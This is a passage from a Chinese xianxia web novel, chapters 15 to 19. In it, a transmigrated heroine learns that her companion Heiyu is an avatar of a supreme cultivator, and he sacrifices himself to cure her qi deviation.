“哑巴？”道生花有趣道，“若不是你防备的眼睛，我真以为黑羽喜欢上一位哑巴。可惜，被骗了。啧。”
荇菜听不懂他掐头去尾的话，绕过桌子，想走去门外。
“怕什么，过来坐下。”道生花一指桌对面，荇菜不受控地倒退回桌边。
他笑嘻嘻道：“这才乖呢。”
“你和黑羽是什么关系？”荇菜试图从凳子上起身，却被无形的力量固缚。
“嗯，本尊想想……主仆？恩人？师徒？仇人……不不不，本尊只是他本体敌人的徒弟，说起来也没多大关系。”道生花扬眉，“听不懂？”
荇菜摇头：又一个神经病。
“这么讲吧。本尊查过你的背景，合欢宗的小花涟养的小娇妻，因师姐的嫉妒被骗下山。在青山村外，你采补西塔国朱家除名在外的弃子，采补不成，反被采。”
“朱家，朱琴天。我没碰他，你别乱说。”荇菜争辩道。
“本尊不关心山洞里的龌龊。你采补一位书生，名唤项檀。他没有灵力，为什么采补他？”
荇菜怒火中烧：“你有病吧。”
“啧，不说实话，本尊可以搜魂，届时一切尽知。若本尊的手再重点，你就成傻子了。”道生花好脾气地威胁道。
荇菜嚅唇，屈服了。
“我不知道。当时我受了伤，功法特殊，不管有灵无灵，只要阳力就可生阴。”
“听起来很玄奥，有机会真想见识一下这门功法。”道生花露笑，在荇菜愠怒的眼神下，又道，“雷火寺的惊蛰呢？他又是怎么栽在你的石榴裙下，以他佛丹境的修为，杀你不过动下
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手指，怎么就……栽了呢？”
“闭嘴。”荇菜刚说两字，脸就被无形的力量扇歪，火辣辣地疼。
她咬牙，运转还阳功里的惑术，正脸时紫海眼眸死死凝视道生花。
道生花仿佛见到无数莲花盛开的场景，旋即眨眼、撇脸，斜瞥的目光看见这女人像是一朵洁白的摇曳莲花，生于无形的法道上，等待被有缘人采撷。
“嗤，好厉害的功法。本尊都差点心旌摇曳。”
荇菜猛地捂住眼睛，感觉一阵阵地发疼发热。
“你对我做了什么？”
“只是让你不要勾引本尊。”道生花扶额，“啧啧，女人就是麻烦。一点事能扯半天，幸好本尊聪慧，多留一天半的时间。”
荇菜听不懂他说什么，脑海里翻找《玉石还阳功》里能对敌的法门。
“两位男子在你面前消散，以你心性会自责一辈子吧？
本尊心善，救你出苦海。”
荇菜僵住，眼前一片模糊，却直直地看向他。
道生花欣赏着对面如玉石般剔透的皮囊，明明应该心生嫌弃，却生出摸一摸的心思。
他的修为高，很快意识到这门惑术的高深处，捂脸低头，叹道：“听说过天龙道的黄椒吗？”
“道祖天尊。”荇菜只敢提他的尊号，听说修为高的人被提本名会有所感应。
这也说明眼前这人的修为很高。
“嗯。他掌管天龙道，天龙道掌管大陆十国，推崇……”道生花一拍额，眼眸流转生烟，“总之，你很特别，特别到可以在茫茫人海里找到他的分身。
他的分身也很特别，体内有一丝他的神识法印，会作为人的一生修练出情理、道法。分身寿终，为人的感悟会成为他的心得，助他的修为更上层楼。
你能明白吗？”
“……”荇菜的眼前朦朦胧胧，咬牙道，“你对我做了什么？”
“啧，只是让你暂时不要勾引本尊。”
“呸，谁勾引你。”
“你是真不怕死啊。或者，你在找死。”道生花眯眸，又释然笑道，“迄今为止，本尊只找出一位分身。这人你也认识，他把你当妻子一般照顾，感动吗？”
“什么……意思？”说到这，荇菜已经无法忽视他说的话，“黑羽，也是黄……他的分身之一？”
“这就对了嘛。你能修炼这么厉害的功法，脑子定是不笨的。”
荇菜扶着桌子起身，眼前逐渐清晰：“项檀没死，惊蛰也没死，他们都是道祖天尊的分身之一，散灵后回归本体去了？”
“不错。你不必谢本尊让你脱离苦海。本尊再告诉你一个消息：黑羽在青山道上劫持你，你摘下他的面罩。黑羽一族有个成文的规定：谁摘下他们的面罩就得娶回去。
你说，他这般靠近你是为什么？”
荇菜顺他的思路，自然道：“分身被夺，找我报仇？”
“不不不……本尊说了，他的分身从幼儿开始，彼此不识。”
“他要找人结侣，改变黑羽族生来的漆黑肤色？”
“聪明。哈哈哈……”道生花模糊身影后消失，余留一串绕梁笑声。
16. 第 16 章
荇菜直愣愣地坐回板凳，把花孔雀的话从头到尾地撸一遍。
合欢宗花涟长老教给徒儿金莲的《欢情诀》，实际类同房中术，目的是：养娇妻？
荇菜搜寻金莲的记忆。对于花涟的印象是一袭仙风道骨的飘逸白衫，至于花涟的脸面，模糊得像是打了马赛克。
金莲自入莲花殿的金丝笼后，在半梦半醒间见过一次花涟。《欢情诀》也是以神识传功之法，刻入脑海。
荇菜烦躁地挥下手，总之，不可能再回合欢宗，可以撇开花涟的事。
项檀、惊蛰散成灵光消散，不是死了，而是身为分身的他们回归本体，带去为人一生的感悟，助力本体道祖天尊修行。
荇菜从凳子上起身，望向窗外的明媚清晨，露出一丝飘忽的笑容。
穿书前，各类仙侠小说没少看，这种设定早已烂大街。
黑羽是道祖天尊的分身之一。
他想要什么？
改换肤色，得到新的人生感悟传给本体？
“呵……哈哈哈哈……”
荇菜捧腹大笑，懒懒地挪回床榻，倒头就睡，什么都不想，什么都不做，静静地等待天黑。
天黑得很慢，似乎专门跟人过不去。
翻来覆去的荇菜长吁短叹：以为睡着了就能蒙头到第二日，等他回来后再问清楚缘由。
事实是金荇菜根本不能容忍糊里糊涂的过日子。
她的一大优点是良心上过得去的事，从不为难自己。临近傍晚，荇菜终是饿得受不了，从床上下地。
火窑前，荇菜抚摸架子上打铁的锤子、器具，对于黑羽可笑的目的生出的怨怪已经淡去。
长吸口气后她进灶间，尝试生火做饭。
灶肚里的火柴在熊熊的燃烧，发出霹啵声，火光映在她粉白的脸面，像是镀一层霞光。
黑羽早就料到荇菜会做饭，木桶里养三条活鱼，案板上存两份粘粉的面条，竹制扁篓里有覆盖薄冰的冷冻饺子……他在离开前，已准备好两天的食材。
“真好吃。”荇菜把五只大饺子几口干完，撂下筷子后呵笑出声，“蕙永教会我怎么在古代生火做饭。
黑羽，你把我从泥潭里拉出来，又送我进入另一个泥潭。事实上，我应该要谢谢你。”
“有趣有趣。”道生花立在栅门外轻轻地抚掌。
荇菜无视他，自顾去刷碗刷锅。
有些人是你越在意他，死变态就会越来劲。这只花孔雀八成是这种人。
道生花挑眉：傻子么？不做钻被窝的鸵鸟，就做随心的人。有趣。
他莞尔道：“本尊以为你是个什么都不会的花瓶子，没想到自我意志这么强。
怎么会不想找黑羽要说法？”
荇菜放好碗筷，面对一锅清水，扯起唇角。
她扬眸望去时淡淡道：“你无非是想要利用我。”
“哦，怎么说？”道生花本可以离开这地方，却对她的双眸功法生出兴趣。因为他想到雷火寺惊蛰会栽的原因，无非就是这双眼睛引出最深的心魔。
心魔，修道修佛者最恐惧的存在，人心善恶的真实标杆。这姑娘的功法修炼了一双可以窥人心底最深念想的眼睛。
道上生花，圣莲为最。岂会不让人多探究一二。
“黑羽是你的人。你引走他，又把他或者说你的目的告知我，无非是想要我们起内讧。”荇菜擦净手，脑海里的欢情诀让她步若摇曳的婀娜青莲，漫步走近。
对付变态的办法是你要比他更变态。
道生花好整以暇地等她走来，嗅到一股人间烟火气。往日里，他对这种女人、乃至糙到泛酸的厨房环境避而远之，今日却耐心得等她一步步走来。
明明是青布裙衫，却因如玉的透光肤色、纯正的傲骨气质，走出一种移不开眼的美。纯、丽、妖，傲，矛盾又和谐地融合在一起。
这是一位正在成长的合欢宗妖女。若无死劫，必成大能。
道生花不假思索地朝她展颜，宛宛笑说：“聪明。你说，本尊想要留下你们谁？”
“以你的说法，我来猜下：或许，我比你更容易找出道祖天尊在人群里的分身，黑羽也是他的分身之一。自今你只找出黑羽一人，而我却已经遇上三位。
天尊的分身有什么呢？人生感悟？以你的……修为，不需要吧！
除此外，天尊分身修炼出来的灵力？或许，你是想像我这样……邪道么，专门吸他人的力量为己所用。
我猜对吗？”
道生花舒展白净的脸面，生出几分魅惑气，扬唇角道：“不算全对，却有几分道理。”
荇菜蹙眉，转瞬也学他扬起唇角：“你想要我吸收黑羽，再通过我拿走天尊分身的灵力。又或者，你活得太久，老掉牙的老头子觉得生活无聊，想看点人间的悲欢离合充盈你枯燥的生活。”
道生花准备抚掌的手倏然垂落，一步瞬移，从后凑在荇菜的耳旁，周身气势压制她无法动弹。
“姑娘好一口伶牙俐齿。那你敢丢下可笑的自尊，与黑羽圆房，得他灵力一飞冲天吗？
若是黑羽，他应该很乐意吧，也会认为：死得其所。
哈哈哈哈……”
荇菜以一声哼笑打破他得自得其乐，趁他大笑松懈时歪头，唇角擦过花孔雀的脸颊，惹得道生花迅速直身后退。
荇菜顿觉混身一松，看他露出复杂的神态，刚要凝眸被一枝青玉雕花的法器遮挡眼神。这是花孔雀簪在紫玉发冠上的发簪，却是他的本命法器。
荇菜再能看清时，道生花已经在灶房门外背手而去。
“你想要变强成仙，最快的方法是从人群里找到他的分身，尽数吸为己用。黑羽是你眼下最好的选择。
吸收他，才能挣脱命运，活成你自己。而你的特殊，三生道会是你最好的盟友。”
荇菜望向空无一人的庭院，争胜后松下的心让她察觉双手发烫，却没有颤抖，像是那个杀人的夜晚，手流过汗，却从来不抖。
长吸口气，稳着神态，漫步走到黑羽雕琢手工的石桌前坐下。
她出了会神，悲情的神色露出一丝自讥般的笑容。
“黑羽，你是个好人，我不想伤害你。”荇菜摊开已经常温的双手，扬眸注视院外，“可是，与他争胜的心情，肆意妄为惩奸锄恶的快意像是毒一样诱惑我。
穿
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书一回，我也成个有野心的人，不想如寻常人般籍籍无名的度过余生。
周婶婶和蕙永的生活是好。但是，我已经无法像她们一样生活。
因为力量，改变了我。”
她凝望毫无手茧的莹白肌肤，像是镀一层油膜，不真实却又真实地透出晶莹的血粉色。
“这就是我选择继续走下去的路。
在这个世界，要么成为旁人剑下的亡魂，尸体化为灰烬、灵魂散成光点，消散于无；要么立于众人之巅，成为那个被人提到名字都要三思慎言的存在。
我金荇菜选择成为后者。”
浑浑噩噩地到这方山谷，清醒理智地离开这短暂的家园。荇菜回首绿树掩映的深处，嫣然一笑：“谢谢你黑羽，我不会如旁人的愿伤害你。”
青虞宗就在山泽国。荇菜走在行人众多的官道，找人打听一二。
路人：“青虞宗收徒啊？来晚啦。三天前，大船就载求仙的人走了。
青虞宗在水泽乡中的仙岛上，若不是收徒的年月，不通船只，除非运气好遇上仙人，捎带你过去。”
荇菜谢过行人，长叹口气：向男主朱琴天讨债是真不容易啊。
她往剑仙城去，耳听呱呱声，凝神去寻，正是黑羽得那只黑鸦。人站在黑鸦亭立的树下，仰头道：“回去告诉他，我和他的缘分尽了。”
“为什么？”黑羽落在荇菜的身后，自言自语般道，“你不是说，只要我不伤害你，你就不会嫌弃我吗？”
“不嫌弃不代表要在一起。”荇菜头也不回地跨步向剑仙城去。
黑羽拳紧手，亦步亦趋地相随。
天知道他掏出父亲体内的精魄，让他成为普通的凡人是经历怎样的内心折磨。同时，他又把自己的精魄移入父亲的体内。
“你生我一场，我以此精魄还你生恩。此后，我们两不相欠。”这是他对父亲说得最后一句话。
“哇……”黑羽跪在地上，呕出大口的鲜血。
模糊的视线死死地盯在那道渐行渐远的背影，再也撑不住身体砸在地上。
“为什么……连你都要离开……”
道生花含笑走出林，刚要御灵扶起黑羽，察觉走远的女子在飞快地跑回来。他拉扯唇角啧了声，化光离去。
“黑羽，这是你的选择，好自为之吧。”
荇菜一把揽起昏迷的黑羽，急哭了：“黑羽，黑羽……你醒醒……”
黑羽做了一个梦。
梦里，他有一个家，美丽俏皮的妻子，可爱的孩子。
孩子的肤色全黑，但是他和妻子一点都不嫌弃孩子，甚至全心全意地爱着孩子。妻子的面容从暖暖的阳光下走来，露出荇菜古灵精怪的五官。
“啊……”黑羽猛地坐起身，抚在心口的位置。精魄类似妖丹，黑羽一族点亮火种成为神乌的希望。黑羽一族一旦失去精魄，修为都掉一大半。
如今的他比荇菜筑基中期的功力还要低，不过筑基初期。他已经把父亲的精魄交给道生花，换来自由。
窗外的鸟儿叽叽喳喳，阳光明媚，如同黑羽梦里的日子。
他快步下床，同进屋的荇菜差点撞个满怀。
17. 第 17 章 菜菜，我做了一个梦
“小心，别撒了药。”荇菜瞪向黑羽，绕过发愣的人。
她把汤药放在桌面，转身时被黑羽紧紧地揽抱住。
“黑羽，放开我。”
“不放。菜菜，我做了一个梦，梦里我们成亲了，还有一个孩子。你全心全意地爱着我们。我……”黑羽的唇被荇菜抚住，委屈地望向她，似乎在祈问：你不愿意吗？
荇菜垂眸，放下手却被他一把握住贴在唇边。
她扬眸看去，忍不住笑出声：“傻不傻？像一条狗子。”
在黑羽不解的眼神下，荇菜又沉下脸，冷静地说，“梦就是梦，现实是现实。快把药喝了吧，我拿你的灵石，请了城里的灵医，说你伤了根基，配得是治标不治本的调理药，贵得很，不能浪费。”
黑羽的眼神落在药碗，又极快地落在荇菜的脸面。
他有好多话要说，却在梦境残留的快意退去后恢复冷静，松开不愿松开的纤细腰肢。
荇菜坐到桌对面，下巴指碗，扬眼角示意他快喝。
黑羽不问什么药，端起来喝个干净。
他坐在她的对面，摸在怀间寻找什么。
荇菜从腰间取出一只垂挂三颗无声铃铛的手镯，放在桌面：“你在找这个？我没灵石请灵医，搜你腰间的时候，它掉出来，先替你暂存。现下还给你。”
黑羽没有接，望入荇菜的眼睛：“这是我在山谷里为你打造的法器，想着回来后送给你。”
荇菜拿回手镯摆弄，好奇道：“我见你造火窑，就是为锻造它？”
她观黑羽点头，垂首栩栩如生的镯面饰纹，“铃铛里面有东西，怎么一点声音都没有？”
“这是摄魂铃，用灵力催动后会发声。声音的传播方式比较奇特，不是你争对的人听不到它。”
【三颗铃铛里面各有一颗珠子。一角羽族精魄打磨的珠子可以定魂摄魄；惊蛰和尚的佛珠加持佛家法力，让人清神定心；另一颗是欧丝国特有的千年合欢木珠。说来也巧，这棵木珠取自于青山洞窟外的山道边，争对你的功法，加大施术者的惑术范围、增强惑术的能力。】
荇菜把玩手镯，抚摸镯子上面的羽翼雕纹，再次递给黑羽。
黑羽的眼神在一瞬间转为落寞绝望，却见心爱的女子俏皮地眨眼，一颗心被七上八下地提吊。
“呆子，帮我戴上呀。”
欣喜像是一股热潮，席卷黑羽全身的血脉。
他激动地握住她的皓腕，瞧着被晶莹镯子映衬的白皙肌肤，虔诚地垂下头，吻在荇菜的手背。
呼吸的炙热烘在手背，不讨厌，就是感觉痒，心也不争气地漏跳一拍。荇菜意识到后猛地抽回手，摇下手腕，撇眸转移注意力：“怎么用？”
黑羽回过神，愉快地笑道：“忘记说了，得先祭练它。”
他将神识祭练的方法教给荇菜，教她摇响摄魂铃。
三珠齐动，清脆的铃声入耳。一瞬间，黑羽的脑子像是被某种神秘的语言抽空思绪，漆黑的双眼迷糊地盯向荇菜，喃喃道：“菜菜……菜菜……”
荇菜启动摄魂铃后收获三只铃铛的不同功能。
她出了神，抚摸三只铃铛，瞧着里面震动的三色珠子，察觉黑羽的气息近前才回神捏住手腕，不让摄魂铃再响。
“黑羽，没事吧？”
“没……没事，菜菜。”黑羽一下子清醒，摇头后退，抿唇道，“我感觉你让法器的威力变大很多。这很好，你有保护自己的武器。”
荇菜定定地望着他，黑羽也直直地回望。
两人似生出默契，望着望着，一起笑出声。
房门被敲响，小二送来荇菜点的晚餐。
小二眼尖，瞧出房里暧昧的气氛，一撩巾子说起好话。
“这位客官真是好福气。你家娘子把你送入店时得那股狠劲啊，掌柜要是再敢推脱，说不定就得被打跪下。
你家娘子护你啊，跟护眼珠子似。”
“胡说什么？”荇菜瞪小二。
黑羽的唇角弯得不能再弯。一般客栈不敢收留昏迷的人，怕人死在店里不吉利。
他朝委屈的小二点头，递去一块灵石做小费。
小二接过灵石，迭声感谢，兴高采烈地离去。
荇菜眼直，感叹：败家玩意。
“别听他胡说，钱给够，掌柜就不会轰人。快吃吧。”
“嗯。”黑羽一如既往把盘中最清亮好吃的菜夹给荇菜，看她吃就不自觉地笑。
荇菜瞧着他的呆样，也给他夹菜，呼噜道：“快吃，我有事问你。”
黑羽沉浸在她的温柔，没意识到这句话的意思，快口巴拉饭菜。
小二撤走盘盏，荇菜坐在窗下等茶。
黑羽端着茶盏到窗几前，与她对坐，倒好茶。
对面的女人移开茶盏，目光直勾勾地射来。他的心下微惊又喜，嚅唇道：“为何这样看我？”
突然，荇菜意识到面对得是一颗恋爱脑，生出一种不忍害他的心情。
她几次张口，终是婉转道：“这两天你去做什么？”
黑羽垂眸，握拳又松，刚要说话，对面的女子已经开口。
“你走后，一只穿得花里胡哨的公孔雀到院子里对我说了一通莫名其妙的话。”
黑羽立时抬头，紧张道：“法尊……他对你说了什么？”
“你是三生道的人，三生道找道祖天尊的分身做什么？”荇菜跳过他的问题。
黑羽张口又闭上，一时无法回答。
荇菜勾唇，望向窗外对面镀层黄昏光晕的黑瓦，淡声道：“你们……就是麻烦，忠孝仁义压着你不能说实话？”
“不是。我怕给你带去麻烦。”
荇菜又笑：“麻烦已经来了。他把你支走，告诉我，你是……”
在黑羽紧张的眼神下，荇菜无法把“你是道祖天尊分身”的真相告知他。
不是当事人很难理解这种状态。活二十来年，明明自己就是自己，却有人告知“你不过是旁人用法术变幻出来的分身”，何其可笑呢？
“法尊说了什么？”
荇菜轻出口气，温声道：“不如说说他那种无聊到喜欢无事生非的人让你去做什么，害你连根基都毁了。”
黑羽鼓起勇气：“此事说来话长。我的父亲是黑羽族人。我的母亲游历到羽弃城时看上
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他。
后来，父亲随母亲回故乡，生下哥哥和姐姐。
但是，我是个意外，生下来时继承黑羽族的血脉，通身漆黑如墨，无人喜欢，被视为不详。”
荇菜目瞪口呆，无法理解道：“怎么有这样的父母？你的父亲是黑羽族，你母亲生下的孩子有可能继承黑羽族的血脉不是很正常的事吗？还有，你父亲凭什么嫌弃你？他不是黑羽族吗？”
黑羽无声的自嘲地笑着，神色平静又欣然。
平静地面对过往的不堪人生，欣喜于女子的与众不同。
“以前，我不理解，后来行走得多了就明白些。父亲被人嫌弃久了，讨厌一身的漆黑肤色和黑羽一族的血脉，讨厌面对过去。
我的存在就是他的过去。”
荇菜咯噔了下，握住他垂放在桌面的手。
“人不能自己选择出生，但可以选择做什么样的人。
黑羽，除了你自己没有人可以嫌弃你，而你要学会爱自己。”
黑羽的心从来没有这样暖过，眼泪湿润眼眶，又被他垂眸眨去。他紧紧地反握住荇菜的双手，低沉有力道：“是。我选择逃离那个家，成为流浪者。
后来，我垂死之际被三生道的人捡回去。
法尊道生花觉得我有趣，留在身边做事。他是我的恩人，教我修炼，给我身份和地位。”
“花孔雀道生花？怪不得他穿得花里胡哨。他可说了，你不过是……反正不是恩人，下属，亲友，师徒……在他眼里，你什么都……”
黑羽的神色落寞，即使荇菜没有讲完，也明白在道生花这等高阶修士的眼里，小修士是一件可有可无的玩具。
“是。法尊的性情乖戾，喜欢做一些常人无法理解的事。在他的眼里，我们这些人不过是一件办事的机器，起兴时还可以拿来逗乐的玩具。”
黑羽意识到自身的处境，但对道生花没有怨。他这种背景的人，但凡有人对他好一点，可以把心掏出来给对方。他害怕道生花，却没有恨。
荇菜窥见黑羽的内心，转言道：“你没说这两天去做什么？”
黑羽低声道：“法尊答应我，做完此事放我自由。我取走父亲体内的精魄交给法尊，又把自己的精魄植入父亲的体内。”
“割肉还父？”荇菜捂嘴，无语地看着他，“你……傻啊？你怎么不干脆拿自己的精魄交给花孔雀……不是，你干嘛这样听他的话。他分明是想要置你于死地。”
黑羽一愣，直言道：“法尊放我自由。何况，本该如此，不是吗？我虽怨他，但他始终是我的父亲。”
“我听火云子说过，黑羽一族体内的精魄相当于妖族的本命妖丹，存放升级成神鸟金乌的太阳火种，而且，精魄的辅助作用是可以吸取他人的魂魄离体。”
荇菜想起青山山洞里的一幕。
黑羽就是用一枚晶体试图吸走自己的灵魂。
“三生道要你父亲的精魄做什么？”
“道祖天尊的分身有一特点：控制分身得是他的神识。精魄可以无事修炼功法，最强程度地吸出修炼者的魂魄，若无法被精魄吸离魂魄，有八成几率可以断定此人是他的分身。”
18. 第 18 章
荇菜了然道：“道生花放过你，却想要你父亲的精魄继续查找道祖天尊的分身。”
“嗯。菜菜，三生道很危险，不要涉足其中。”
“呵，”荇菜哼笑，“我不介意当初在青山洞窟你对我做的事，毕竟你也只是……”
她看呆子似看他：人家是真得想置你于死地，告知我你的真实身份，希望我用还阳功法吸收掉你啊。
“对不起，菜菜。当时我……”
荇菜挥手，又无奈道：“往事休提，你也是听命行事。你想过没有，当他出现在我的面前，就已经锁定我。毕竟，我找道祖天尊的分身可轻松多了。”
黑羽对此也不理解：“为何你这么容易碰上他的分身？”
荇菜龇牙，打量黑羽：眼前还有一位！
又玩闹似猜测道：“大概，他是我的男主角？呵呵呵……当我瞎说，兴许他也是炮灰吧。”她挥手散去无厘头的话题，回归正途，“没有精魄，你的修炼怎么办？”
“我没想那么多。”
“不行。我们得找道生花把你的精魄要回来。我听火云子说这玩意相当于妖丹，没有精魄怎么修炼？”
荇菜急切地起身，又被黑羽拉住手腕，侧脸道，“你不急吗？”
“没有精魄，不过就是修练得慢一点。若是找法尊，怕是……”
“怕死？”荇菜若有所思，谁会不怕死？
又有谁比她死得更经验丰富。
“我怕你受伤。”黑羽沉重道。
荇菜的心微微发紧，周婶婶是她来这个世界上遇到得最好的女人，黑羽就是最好的男人。
她按捺住上翘的唇角，抿唇道，“罢了，懒得理你。”气鼓鼓地坐下，喝光一杯温茶，又重重地放下杯子，“三生道找他的分身做什么？”
黑羽嚅唇又摇头：“我不太清楚。不过，道祖天尊回收分身可以增强法力，若阻止分身回归，能削弱他的力量。”
荇菜以指敲在几面，呵笑：“我听过一句话：天龙掌生，三生送死。这么说，天龙道和三生道是死对头。天龙道掌管天下十国八大宗，三生道呢？”
“三生道居于海外仙山，设有幽冥十府城，孚龙八部众。八部各有功用，我隶属于寻机部，专职找出道祖天尊行走天下的分身。
法尊道生花是三生道尊主——泽萃道尊座下的大弟子，代管孚龙八部事务。”
“伏龙？听着就是同天龙道对着干的组织。”荇菜知道花孔雀厉害，没想到厉害到这种程度。难怪花孔雀提起道祖天尊黄椒的名讳时毫不顾虑因果。
“以我看原书……话本的经验，这种类似反派的邪恶组织最大的目标是想要代替天龙道，成为大陆的新主宰。所以，三生道势必要对付道祖天尊。那么，高高在上如神灵般的人物，有什么比削弱他的力量来得更直接呢？”
黑羽诧异又佩服地看向荇菜，开窍般说：“确实。孚龙八部的弟子都这么想。”
“我们找花孔雀谈生意，我替他在人群里找出道祖天尊的分身，而他把精魄还给你。这样你就能继续修炼，好不好？”
黑羽望入她亮晶晶的眼眸，如蜜的甜浆在心口泛滥。他发现荇菜的眼神躲闪，一瞬间了悟：“菜菜，你不想欠我，对吗？”
荇菜僵硬面色，撇开眸：“花孔雀说对一句话，吸取道祖天尊分身的力量，掌握自己的命运。我的功法已经这样，不如就遵从此道走下去，成为强者。这有什么不好呢？”
“这是你的本意吗？”黑羽忧伤地望着她：山谷里半个多月的生活难道是假象？你的本心明明不喜欢这样。
荇菜感觉一股热血上脑，愤然站起来，怒目瞪他：“我的本意是上大学丰富自己的精神世界，不是累死累活地读完书后成为被人呼和来去的九九六实习生。
我本想回学校拿上资料，回家过周末，不是被人一板砖拍进本龙傲天小黄书。
我……连缘由都没搞明白就被人拿剑捅个对穿，做些连自己都稀里糊涂的混账事。
呵……做什么都是在违背自己的心意，事情也已经这样了，保一个是一个吧，难道我们要一起死吗？
周婶婶和蕙永在家里等项檀回去，火云子不知道他的师兄不是被蝠妖杀死……若我不用点办法，怎么逼他出来解释这一切？
道祖天尊不是现世最强吗？那就让他出来给我个说法。”
黑羽观她神色癫狂，上前抱她却被推开：“菜菜，冷静点。道祖天尊根本不会让本体行走天下，法尊道生花也不是良善之辈。”
“良善？哈哈哈哈……难道我是良善之辈吗？”荇菜无法自控地癫狂大笑，“他不良善，我也不善良，让他做我的裙下臣啊。他的灵力充沛，说不定能助我突破金丹。
一旦我有力量，我就能掌握自己的命运，电视话本不都这么演吗？成为大反派，能让道祖天尊现世吧？”
“菜菜……”黑羽见她要走，疾步上前敲在她的后颈，揽人入怀，“这是走火入魔之照。”
荇菜醒来时被黑羽背着在天上飞。她知道他是黑羽一族，却不知道黑羽一族能伸展出乌黑的翅膀。
她有心无力道：“黑羽，我们这是去哪？”
“我带你回合欢宗。你修的功法有问题，合欢宗一定有办法帮你。”黑羽埋头向前飞。没有精魄，功力下降，出行都变得困难重重，得倚靠自身的妖体飞行。
“不去，放我下来，我不回去……”荇菜挣扎，脑子里有执拗的念头在叫嚣，“青虞宗，我要去青虞宗找禾诗逸，不能让她被朱琴天霍霍。原书里的禾诗逸仗剑天下，为世人敬仰，人人敬她亲她，热切地喊一声师姐。呜呜，她是我的偶像啊，这本破书前几章得唯一亮点。呜呜……难道是因为她我才进这本书？可是，为什么让我成为她的对照组。呜呜呜……”
黑羽发现她的情状不稳，下飞落地。
他不明白她又怎么了，入了林间猎户的木屋，将人放下。
荇菜的额头、双颊潮热赤红。黑羽一摸就是一手汗，再探鼻下的气息紊乱，这是灵力无法归经入丹的走火征兆。
“菜菜……”他试图用自身的灵力助她，却发现灵力源源不断得被吸走。若非及时撤掌，恐怕被吸食殆尽。
“怎么会这样？”
黑羽的灵力入体，荇菜的红热症状越发明显。
“热……好热……”荇菜无意识地巴拉衣衫，试图缓解乱闯的灵力生出的燥热。
自从惊蛰和尚的事件后，她有意地克制体内的灵脉流动，造成灵力在经脉内乱走，终于爆发成灾，引起走火入魔之相。
“菜菜……”黑羽急得不行，下定决心用自身剩余
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的灵力助她，突听到悦耳的笛声，恍然道，“法尊，法尊在附近，他一定有办法帮你。”
荇菜伸手，从黑羽的袍摆处滑落：别去，黑羽别去。
道生花漫步走入破屋，指尖绕灵，散去屋子里的霉味。
他蹲在昏迷的荇菜身前，以雕花玉笛挑起荇菜的下颚，面对一张潮红的丽容，有趣道：“真是固执。你想让本尊成为你的裙下臣？本尊得看看你有没有这个本事。
出来。”
漆黑如墨的黑羽站在阴影处，闻言步入光下。
他非常害怕被荇菜看到这幅真实面目，尽管荇菜说过她不会嫌弃，但内心的惶恐让他不敢近前。
“方法已经同你说了，至于怎么选，你自己决定。”
黑羽空洞的双眸滑落晶莹的泪珠，慢慢地伏地：“请法尊给卑职片刻时间。”
“珍稀这最后的时间。若你愿意，兴许能让自己真正得白一次。哈哈哈哈……”道生花说完，身影消失在木屋。
黑羽蹒跚上前，抱起荇菜。
他温柔地注视她，轻轻地捋顺鬓发，小心翼翼地抚摸红热的脸颊。
“菜菜，这次你没有错，我明明白白地告诉你，我愿意为你这么做。”
长吸口气后的黑羽揽紧荇菜，掌心贴上她的后心，动用周身全部的灵力导入荇菜的经脉，帮她生成合合相生的法印。
法印归体，荇菜体内乱闯的灵力被疏导，归经入丹。
荇菜迷迷糊糊地张开眼睛，头枕在粗糙的草堆，喃喃念：“黑羽……黑羽……不要……”
黑羽吻在荇菜的额头，望入她迷糊的双眸，消散前低语道：“菜菜，爱你就是爱我自己，真好。”
“不要……”
泪水砸落进荇菜的眼睛，迷了眼前的一切。
金红法印携带十字箴言旋入地下：天道生情，无分强弱，天命。
遥远的浮岛天宫深处，一只如玉的手注视回归掌心的如缕的晶莹神识，右鬓眉尾的一角红旋将额头映衬的玉光莹莹。
三道十字箴言并列浮在半空。
金红法印的主人轻呵出声：“道机、慎择、天命，究竟是什么人让你们生出以情破境的法门？”
道祖天尊含笑闭目，背后浮动威严的金光法相。
突破在即，只差临门一脚成为真仙。如何入仙，何须分身置喙。
荇菜在一艘飘荡的小船上醒来，入目是船头横笛吹奏的花孔雀。
她诧异地跳起来，小船左右摇摆，差点把她颠下去。
“黑羽……黑羽呢？”
道生花放下横笛，觑着她惊慌的面容，有趣道：“他用你换走了精魄。”
“不可能。”荇菜快步上前，临脚就踢向道生花。
“不逃先动手，有进步。”道生花横笛一荡，轻轻一送，将人御回船尾，“蚍蜉撼树前还得三思再行，至少你要有足够的队友。”
“什么乱七八糟。黑羽呢？你把他怎么样？”
“哈哈哈，高。本尊曾听师妹道璇玑说：天下的女子具是演戏的高手。本尊不信，见过你真就明白，这话不假。
与其问本尊要人，不如问你自己。
本尊没见过这么傻的人，功法有异，强行逆功岔气，迫人心甘情愿地牺牲自己救你。高，实在是高。”
19. 第 19 章
《金刚经》言：“菩萨行施，了达三轮体空故，能不住于相。”无论作恶还是行善，都是缘分始达，因缘和合之故。
荇菜噗嗤一声，惊蛰的金刚经真是没有白诵，有些经理刻进脑子，成为所犯罪行的诡辩道理。
她朝道生花摇摇晃晃地站起来，嫣然发笑。
不是错觉，真有人帮自己导正经脉灵力。这个人是黑羽。
“你让人心甘情愿自我牺牲，又做出一副假惺惺自我厌弃的疯模样。你这种手段高明得让人赞叹。”道生花感觉眼疼，瞧不得她生死无念的丧气模样，抛去一枚晶球。
荇菜欲要动手，盯向滚到眼前的晶球，球里浮动黑羽的影子。
她捡起晶球，无师自通地运灵力入球。
晶球折射一道光幕，显现黑羽跪求道生花救人的场面。
黑羽虔诚跪首：“法尊，求你救救她。”
“本尊同她说过自救的办法，只是她没有意会到罢了。”
“什么办法？”黑羽不解地看向他。
“本尊在山泽谷内观她法体，已知她逆行经脉，不日将走火入魔。若想得解，以同根同源的灵力归导经脉灵力入丹。
本尊还告诉她，你就是这枚丹药。”
黑羽惊诧地仰面，良久无语。
他不是初来乍到的荇菜，瞬间明白道生花的意思：“怎么……可能？”
“为何不可能？你数次身临绝境，灵魂可曾离体，灵识可曾增强？本尊教你术法，久不见你的灵识增强，因而猜到原因。后来，本尊暗中探你魂体，越发确定你是他的分身。
本尊分你入寻机部，派你去人世间找他的分身，不就是为更有缘遇见他吗？”
道生花写意呵笑，“本尊收留你，留你在身边，不仅因为你们黑羽一族的夺魂精魄，更是因为你……与众不同。”
黑羽默然地坐在地上，无法接受这个现实。
原来寻找的天尊分身是自己，自己不过是旁人一道神识意念？
转念，他又幡然醒悟般道：“好，这样我就能救下菜菜。”
